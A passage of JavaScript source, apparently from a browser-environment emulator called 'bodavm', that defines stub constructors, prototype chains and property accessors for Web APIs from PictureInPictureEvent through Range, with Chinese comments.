PictureInPictureEvent(){if (!(this instanceof PictureInPictureEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PictureInPictureEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureEvent'], "PictureInPictureEvent"); -bodavm.memory.globalobj['PictureInPictureEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PictureInPictureEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PictureInPictureEvent', "pictureInPictureWindow", {configurable:true, enumerable:true, get:function pictureInPictureWindow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureEvent'].prototype, "PictureInPictureEvent", "pictureInPictureWindow_get", arguments)}, set:undefined},'prototype'); - -// PictureInPictureWindow对象 -bodavm.memory.globalobj['PictureInPictureWindow'] = function PictureInPictureWindow(){if (!(this instanceof PictureInPictureWindow)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PictureInPictureWindow'], "PictureInPictureWindow"); -bodavm.memory.globalobj['PictureInPictureWindow'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PictureInPictureWindow'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "height_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PictureInPictureWindow', "onresize", {configurable:true, enumerable:true, get:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_get", arguments)}, set:function onresize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PictureInPictureWindow'].prototype, "PictureInPictureWindow", "onresize_set", arguments)}},'prototype'); - -// PopStateEvent对象 -bodavm.memory.globalobj['PopStateEvent'] = function PopStateEvent(){if (!(this instanceof PopStateEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PopStateEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PopStateEvent'], "PopStateEvent"); -bodavm.memory.globalobj['PopStateEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PopStateEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PopStateEvent', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PopStateEvent'].prototype, "PopStateEvent", "state_get", arguments)}, set:undefined},'prototype'); - -// postMessage对象 -bodavm.memory.globalobj['postMessage'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('postMessage', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('postMessage', "name", {configurable:true, enumerable:false, writable:false, value:"postMessage"}); - -// Presentation对象 -bodavm.memory.globalobj['Presentation'] = function Presentation(){if (!(this instanceof Presentation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Presentation'], "Presentation"); -bodavm.toolsFunc.defineProperty('Presentation', "defaultRequest", {configurable:true, enumerable:true, get:function defaultRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_get", arguments)}, set:function defaultRequest (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "defaultRequest_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('Presentation', "receiver", {configurable:true, enumerable:true, get:function receiver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Presentation'].prototype, "Presentation", "receiver_get", arguments)}, set:undefined},'prototype'); - -// PresentationAvailability对象 -bodavm.memory.globalobj['PresentationAvailability'] = function PresentationAvailability(){if (!(this instanceof PresentationAvailability)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationAvailability'], "PresentationAvailability"); -bodavm.memory.globalobj['PresentationAvailability'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationAvailability'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationAvailability', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "value_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationAvailability', "onchange", {configurable:true, enumerable:true, get:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_get", arguments)}, set:function onchange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationAvailability'].prototype, "PresentationAvailability", "onchange_set", arguments)}},'prototype'); - -// PresentationConnection对象 -bodavm.memory.globalobj['PresentationConnection'] = function PresentationConnection(){if (!(this instanceof PresentationConnection)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnection'], "PresentationConnection"); -bodavm.memory.globalobj['PresentationConnection'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationConnection'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationConnection', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "url", {configurable:true, enumerable:true, get:function url (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "url_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onconnect", {configurable:true, enumerable:true, get:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_get", arguments)}, set:function onconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onconnect_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onclose", {configurable:true, enumerable:true, get:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_get", arguments)}, set:function onclose (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onclose_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onterminate", {configurable:true, enumerable:true, get:function onterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_get", arguments)}, set:function onterminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onterminate_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "binaryType", {configurable:true, enumerable:true, get:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_get", arguments)}, set:function binaryType (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "binaryType_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "onmessage", {configurable:true, enumerable:true, get:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_get", arguments)}, set:function onmessage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "onmessage_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "send", {configurable:true, enumerable:true, writable:true, value:function send (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "send", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnection', "terminate", {configurable:true, enumerable:true, writable:true, value:function terminate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnection'].prototype, "PresentationConnection", "terminate", arguments)}},'prototype'); - -// PresentationConnectionAvailableEvent对象 -bodavm.memory.globalobj['PresentationConnectionAvailableEvent'] = function PresentationConnectionAvailableEvent(){if (!(this instanceof PresentationConnectionAvailableEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationConnectionAvailableEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionAvailableEvent'], "PresentationConnectionAvailableEvent"); -bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('PresentationConnectionAvailableEvent', "connection", {configurable:true, enumerable:true, get:function connection (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionAvailableEvent'].prototype, "PresentationConnectionAvailableEvent", "connection_get", arguments)}, set:undefined},'prototype'); - -// PresentationConnectionList对象 -bodavm.memory.globalobj['PresentationConnectionList'] = function PresentationConnectionList(){if (!(this instanceof PresentationConnectionList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationConnectionList'], "PresentationConnectionList"); -bodavm.memory.globalobj['PresentationConnectionList'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationConnectionList'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationConnectionList', "connections", {configurable:true, enumerable:true, get:function connections (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "connections_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationConnectionList', "onconnectionavailable", {configurable:true, enumerable:true, get:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_get", arguments)}, set:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationConnectionList'].prototype, "PresentationConnectionList", "onconnectionavailable_set", arguments)}},'prototype'); - -// PresentationReceiver对象 -bodavm.memory.globalobj['PresentationReceiver'] = function PresentationReceiver(){if (!(this instanceof PresentationReceiver)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationReceiver'], "PresentationReceiver"); -bodavm.toolsFunc.defineProperty('PresentationReceiver', "connectionList", {configurable:true, enumerable:true, get:function connectionList (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationReceiver'].prototype, "PresentationReceiver", "connectionList_get", arguments)}, set:undefined},'prototype'); - -// PresentationRequest对象 -bodavm.memory.globalobj['PresentationRequest'] = function PresentationRequest(){if (!(this instanceof PresentationRequest)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PresentationRequest': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PresentationRequest'], "PresentationRequest"); -bodavm.memory.globalobj['PresentationRequest'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['PresentationRequest'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('PresentationRequest', "onconnectionavailable", {configurable:true, enumerable:true, get:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_get", arguments)}, set:function onconnectionavailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "onconnectionavailable_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationRequest', "getAvailability", {configurable:true, enumerable:true, writable:true, value:function getAvailability (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "getAvailability", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationRequest', "reconnect", {configurable:true, enumerable:true, writable:true, value:function reconnect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "reconnect", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PresentationRequest', "start", {configurable:true, enumerable:true, writable:true, value:function start (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PresentationRequest'].prototype, "PresentationRequest", "start", arguments)}},'prototype'); - -// print对象 -bodavm.memory.globalobj['print'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('print', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('print', "name", {configurable:true, enumerable:false, writable:false, value:"print"}); - -// ProcessingInstruction对象 -bodavm.memory.globalobj['ProcessingInstruction'] = function ProcessingInstruction(){if (!(this instanceof ProcessingInstruction)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProcessingInstruction'], "ProcessingInstruction"); -bodavm.memory.globalobj['ProcessingInstruction'].prototype.__proto__=bodavm.memory.globalobj['CharacterData'].prototype; -bodavm.memory.globalobj['ProcessingInstruction'].__proto__=bodavm.memory.globalobj['CharacterData']; -bodavm.toolsFunc.defineProperty('ProcessingInstruction', "target", {configurable:true, enumerable:true, get:function target (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "target_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ProcessingInstruction', "sheet", {configurable:true, enumerable:true, get:function sheet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProcessingInstruction'].prototype, "ProcessingInstruction", "sheet_get", arguments)}, set:undefined},'prototype'); - -// Profiler对象 -bodavm.memory.globalobj['Profiler'] = function Profiler(){if (!(this instanceof Profiler)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'Profiler': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Profiler'], "Profiler"); -bodavm.memory.globalobj['Profiler'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['Profiler'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('Profiler', "sampleInterval", {configurable:true, enumerable:true, get:function sampleInterval (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "sampleInterval_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Profiler', "stopped", {configurable:true, enumerable:true, get:function stopped (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stopped_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Profiler', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Profiler'].prototype, "Profiler", "stop", arguments)}},'prototype'); - -// ProgressEvent对象 -bodavm.memory.globalobj['ProgressEvent'] = function ProgressEvent(){if (!(this instanceof ProgressEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'ProgressEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ProgressEvent'], "ProgressEvent"); -bodavm.memory.globalobj['ProgressEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['ProgressEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('ProgressEvent', "lengthComputable", {configurable:true, enumerable:true, get:function lengthComputable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "lengthComputable_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ProgressEvent', "loaded", {configurable:true, enumerable:true, get:function loaded (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "loaded_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ProgressEvent', "total", {configurable:true, enumerable:true, get:function total (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ProgressEvent'].prototype, "ProgressEvent", "total_get", arguments)}, set:undefined},'prototype'); - - -// PromiseRejectionEvent对象 - -bodavm.memory.globalobj['PromiseRejectionEvent'] = function PromiseRejectionEvent(){if (!(this instanceof PromiseRejectionEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'PromiseRejectionEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} - -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PromiseRejectionEvent'], "PromiseRejectionEvent"); - -bodavm.memory.globalobj['PromiseRejectionEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; - -bodavm.memory.globalobj['PromiseRejectionEvent'].__proto__=bodavm.memory.globalobj['Event']; - -bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "promise", {configurable:true, enumerable:true, get:function promise (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "promise_get", arguments)}, set:undefined},'prototype'); - -bodavm.toolsFunc.defineProperty('PromiseRejectionEvent', "reason", {configurable:true, enumerable:true, get:function reason (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PromiseRejectionEvent'].prototype, "PromiseRejectionEvent", "reason_get", arguments)}, set:undefined},'prototype'); - - -// prompt对象 -bodavm.memory.globalobj['prompt'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('prompt', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('prompt', "name", {configurable:true, enumerable:false, writable:false, value:"prompt"}); - -// PublicKeyCredential对象 -bodavm.memory.globalobj['PublicKeyCredential'] = function PublicKeyCredential(){if (!(this instanceof PublicKeyCredential)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PublicKeyCredential'], "PublicKeyCredential"); -bodavm.memory.globalobj['PublicKeyCredential'].prototype.__proto__=bodavm.memory.globalobj['Credential'].prototype; -bodavm.memory.globalobj['PublicKeyCredential'].__proto__=bodavm.memory.globalobj['Credential']; -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isUserVerifyingPlatformAuthenticatorAvailable", {configurable:true, enumerable:true, writable:true, value:function isUserVerifyingPlatformAuthenticatorAvailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isUserVerifyingPlatformAuthenticatorAvailable", arguments)}}); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "isConditionalMediationAvailable", {configurable:true, enumerable:true, writable:true, value:function isConditionalMediationAvailable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].undefined, "PublicKeyCredential", "isConditionalMediationAvailable", arguments)}}); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "rawId", {configurable:true, enumerable:true, get:function rawId (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "rawId_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "response", {configurable:true, enumerable:true, get:function response (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "response_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "authenticatorAttachment", {configurable:true, enumerable:true, get:function authenticatorAttachment (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "authenticatorAttachment_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PublicKeyCredential', "getClientExtensionResults", {configurable:true, enumerable:true, writable:true, value:function getClientExtensionResults (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PublicKeyCredential'].prototype, "PublicKeyCredential", "getClientExtensionResults", arguments)}},'prototype'); - -// PushManager对象 -bodavm.memory.globalobj['PushManager'] = function PushManager(){if (!(this instanceof PushManager)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushManager'], "PushManager"); -bodavm.toolsFunc.defineProperty('PushManager', "supportedContentEncodings", {configurable:true, enumerable:true, get:function supportedContentEncodings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].undefined, "PushManager", "supportedContentEncodings_get", arguments)}, set:undefined}); -bodavm.toolsFunc.defineProperty('PushManager', "getSubscription", {configurable:true, enumerable:true, writable:true, value:function getSubscription (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "getSubscription", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushManager', "permissionState", {configurable:true, enumerable:true, writable:true, value:function permissionState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "permissionState", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushManager', "subscribe", {configurable:true, enumerable:true, writable:true, value:function subscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushManager'].prototype, "PushManager", "subscribe", arguments)}},'prototype'); - -// PushSubscription对象 -bodavm.memory.globalobj['PushSubscription'] = function PushSubscription(){if (!(this instanceof PushSubscription)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscription'], "PushSubscription"); -bodavm.toolsFunc.defineProperty('PushSubscription', "endpoint", {configurable:true, enumerable:true, get:function endpoint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "endpoint_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "expirationTime", {configurable:true, enumerable:true, get:function expirationTime (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "expirationTime_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "options", {configurable:true, enumerable:true, get:function options (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "options_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "getKey", {configurable:true, enumerable:true, writable:true, value:function getKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "getKey", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "toJSON", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscription', "unsubscribe", {configurable:true, enumerable:true, writable:true, value:function unsubscribe (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscription'].prototype, "PushSubscription", "unsubscribe", arguments)}},'prototype'); - -// PushSubscriptionOptions对象 -bodavm.memory.globalobj['PushSubscriptionOptions'] = function PushSubscriptionOptions(){if (!(this instanceof PushSubscriptionOptions)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['PushSubscriptionOptions'], "PushSubscriptionOptions"); -bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "userVisibleOnly", {configurable:true, enumerable:true, get:function userVisibleOnly (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "userVisibleOnly_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('PushSubscriptionOptions', "applicationServerKey", {configurable:true, enumerable:true, get:function applicationServerKey (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['PushSubscriptionOptions'].prototype, "PushSubscriptionOptions", "applicationServerKey_get", arguments)}, set:undefined},'prototype'); - -// queryLocalFonts对象 -bodavm.memory.globalobj['queryLocalFonts'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('queryLocalFonts', "length", {configurable:true, enumerable:false, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('queryLocalFonts', "name", {configurable:true, enumerable:false, writable:false, value:"queryLocalFonts"}); - -// queueMicrotask对象 -bodavm.memory.globalobj['queueMicrotask'] = { - _boisinit:bodavm.config.isinit - } -bodavm.toolsFunc.defineProperty('queueMicrotask', "length", {configurable:true, enumerable:false, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('queueMicrotask', "name", {configurable:true, enumerable:false, writable:false, value:"queueMicrotask"}); - -// RadioNodeList对象 -bodavm.memory.globalobj['RadioNodeList'] = function RadioNodeList(){if (!(this instanceof RadioNodeList)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['RadioNodeList'], "RadioNodeList"); -bodavm.memory.globalobj['RadioNodeList'].prototype.__proto__=bodavm.memory.globalobj['NodeList'].prototype; -bodavm.memory.globalobj['RadioNodeList'].__proto__=bodavm.memory.globalobj['NodeList']; -bodavm.toolsFunc.defineProperty('RadioNodeList', "value", {configurable:true, enumerable:true, get:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_get", arguments)}, set:function value (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['RadioNodeList'].prototype, "RadioNodeList", "value_set", arguments)}},'prototype'); - -// Range对象 -bodavm.memory.globalobj['Range'] = function Range(){this._boarg= new bodaobj.window.Range();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['Range'], "Range"); -bodavm.memory.globalobj['Range'].prototype.__proto__=bodavm.memory.globalobj['AbstractRange'].prototype; -bodavm.memory.globalobj['Range'].__proto__=bodavm.memory.globalobj['AbstractRange']; -bodavm.toolsFunc.defineProperty('Range', "START_TO_START", {configurable:false, enumerable:true, writable:false, value:0}); -bodavm.toolsFunc.defineProperty('Range', "START_TO_END", {configurable:false, enumerable:true, writable:false, value:1}); -bodavm.toolsFunc.defineProperty('Range', "END_TO_END", {configurable:false, enumerable:true, writable:false, value:2}); -bodavm.toolsFunc.defineProperty('Range', "END_TO_START", {configurable:false, enumerable:true, writable:false, value:3}); -bodavm.toolsFunc.defineProperty('Range', "commonAncestorContainer", {configurable:true, enumerable:true, get:function commonAncestorContainer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['Range'].prototype, "Range", "commonAncestorContainer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "START_TO_START", {configurable:false, enumerable:true, writable:false, value:0},'prototype'); -bodavm.toolsFunc.defineProperty('Range', "START_TO_END", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); 